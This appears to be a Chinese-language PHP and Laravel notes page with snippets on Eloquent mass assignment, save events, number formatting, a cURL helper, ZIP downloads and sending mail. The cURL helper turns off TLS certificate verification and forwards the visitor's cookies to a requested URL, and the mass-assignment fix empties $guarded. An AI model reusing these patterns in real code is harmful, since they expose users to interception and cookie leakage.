id: 678,
uuid: "01ec5da0-43ad-11e9-820c-217bded4b29c",
uid: 3230498441,
ctime: "2019-03-11 11:23:15",
readtime: 0
}
>>> $s->update(['readtime'=>time()])
Illuminate\Database\Eloquent\MassAssignmentException with message 'readtime'
cat vendor\laravel\framework\src\Illuminate\Database\Eloquent\Model.php

public function fill(array $attributes)
{
$totallyGuarded = $this->totallyGuarded();

foreach ($this->fillableFromArray($attributes) as $key => $value)
{
$key = $this->removeTableFromKey($key);

// The developers may choose to place some attributes in the "fillable"
// array, which means only those attributes may be set through mass
// assignment to the model, and all others will just be ignored.
if ($this->isFillable($key))
{
$this->setAttribute($key, $value);
}
elseif ($totallyGuarded)
{
throw new MassAssignmentException($key);//这里报错
}
}

return $this;
}
public function totallyGuarded()
{
return count($this->fillable) == 0 && $this->guarded == array('*');
}

model文件添加 protected $guarded = [];
这个问题的关键是 save 方法,因为这个方法在不同的环境下会有不同的效果。如果一个 Model 他还不存在,则调用 save 方法的作用是 insert 一条记录。如果此 Model 已经存在于数据库,则调用 save 方法的效果是 Update 这条存在的记录。
所以文档强调的是:如果你调用 save 方法来更新 Model,那么只有这个 Model 对应的数据存在于数据库中时,才会触发 updating 和 updated 事件(因为不存在的话就是 insert 操作,会触发 creating 和 craeted 事件)。如果你调用 save 方法来保存或更新 Model,那么不管数据记录是否已经存在,都会触发 saving 和 saved 这两个事件。文档表述可能存在问题,但意思是这个意思。https://learnku.com/laravel/t/8942/is-the-updating-and-updated-event-triggered-description-discrepancy

1234567890 转换成 1,234,567,890

1
2
3
4
5
6
7
8
9
$str='1234567890';
function demo($str){
$str=strrev($str);//先翻转字符串 https://learnku.com/articles/25953#reply84620
$arr=str_split($str,3);//每3个隔开
$str=strrev(implode(',',$arr));//在把数组以,变成字符串 在翻转
echo $str;
}
>>> number_format('1234567890',3,',',',');
=> "1,234,567,890,000"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mycurl('xxx',3,3,$_COOKIE)
function myCurl($url,$time=3,$retries = 3, $cookie = []){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, $time); //
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
if($cookie) {
curl_setopt($ch, CURLOPT_COOKIE, http_build_query($cookie, '', ';'));//a=1;b=2
}

$result = false;

while(($result === false) && (--$retries > 0)){
$result = curl_exec($ch);
}
curl_close($ch);
return $result;
}

创建 Zip 压缩文件并提供下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$zip_file = 'invoices.zip'; // 要下载的压缩包的名称 https://learnku.com/laravel/t/26087

// 初始化 PHP 类
$zip = new \ZipArchive();
$zip->open($zip_file, \ZipArchive::CREATE | \ZipArchive::OVERWRITE);

$invoice_file = 'invoices/aaa001.pdf';

// 添加文件:第二个参数是待压缩文件在压缩包中的路径
// 所以,它将在 ZIP 中创建另一个名为 "storage/" 的路径,并把文件放入目录。
$zip->addFile(storage_path($invoice_file), $invoice_file);
$zip->close();

// 我们将会在文件下载后立刻把文件返回原样
return response()->download($zip_file);

$zip_file = 'invoices.zip';
$zip = new \ZipArchive();
$zip->open($zip_file, \ZipArchive::CREATE | \ZipArchive::OVERWRITE);

$path = storage_path('invoices');
$files = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($path));
foreach ($files as $name => $file)
{
// 我们要跳过所有子目录
if (!$file->isDir()) {
$filePath = $file->getRealPath();

// 用 substr/strlen 获取文件扩展名
$relativePath = 'invoices/' . substr($filePath, strlen($path) + 1);

$zip->addFile($filePath, $relativePath);
}
}
$zip->close();
return response()->download($zip_file);

php email

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
[root@localhost ~]# service sendmail status
sendmail is stopped
sm-client is stopped
[root@localhost ~]# service sendmail start
Starting sendmail: [ OK ]
Starting sm-client: [ OK ]
[root@localhost ~]# service sendmail status
sendmail (pid 8746) is running...
sm-client (pid 8756) is running...

$to = 'user@example.com';
$subject = "Beautiful HTML Email using PHP by CodexWorld";
$htmlContent = file_get_contents("email_template.html");
$htmlContent = '
<html>
<head>
<title>Welcome to CodexWorld</title>
</head>
<body>
<h1>Thanks you for joining with us!</h1>
<table cellspacing="0" style="border: 2px dashed #FB4314; width: 300px; height: 200px;">
<tr>
<th>Name:</th><td>CodexWorld</td>
</tr>
<tr style="background-color: #e0e0e0;">
<th>Email:</th><td>contact@codexworld.com</td>
</tr>
<tr>
<th>Website:</th><td><a href="http://www.codexworld.com">www.codexworld.com</a></td>
</tr>
</table>
</body>
</html>';

// Set content-type header for sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

// Additional headers https://www.codexworld.com/send-beautiful-html-email-using-php/
$headers .= 'From: CodexWorld<sender@example.com>' . "\r\n";
$headers .= 'Cc: welcome@example.com' . "\r\n";
$headers .= 'Bcc: welcome2@example.com' . "\r\n";

// Send email
if(mail($to,$subject,$htmlContent,$headers)):
$successMsg = 'Email has sent successfully.';
else:
$errorMsg = 'Email sending fail.';
endif;


$to = 'maryjane@email.com';
$subject = 'Marriage Proposal';
$message = 'Hi Jane, will you marry me?';
$from = 'peterparker@email.com';

// Sending email
if(mail($to, $subject, $message)){
echo 'Your mail has been sent successfully.';
} else{
echo 'Unable to send email. Please try again.';
}

PHP+openssl实现非对称加密

从零开始搭建一个lnmp运行环境

Session 与 Token 身份验证

字符集和字符编码

php函数

PHP导出百万Excel

PHP 编写守护进程

判断文件是否为图片的方法

消息队列及PHP中的简单实现与应用

Laravel Eloquent 提示和技巧

Laravel 中的 Event 和事件的概念

Redis 主从复制、哨兵及集群部署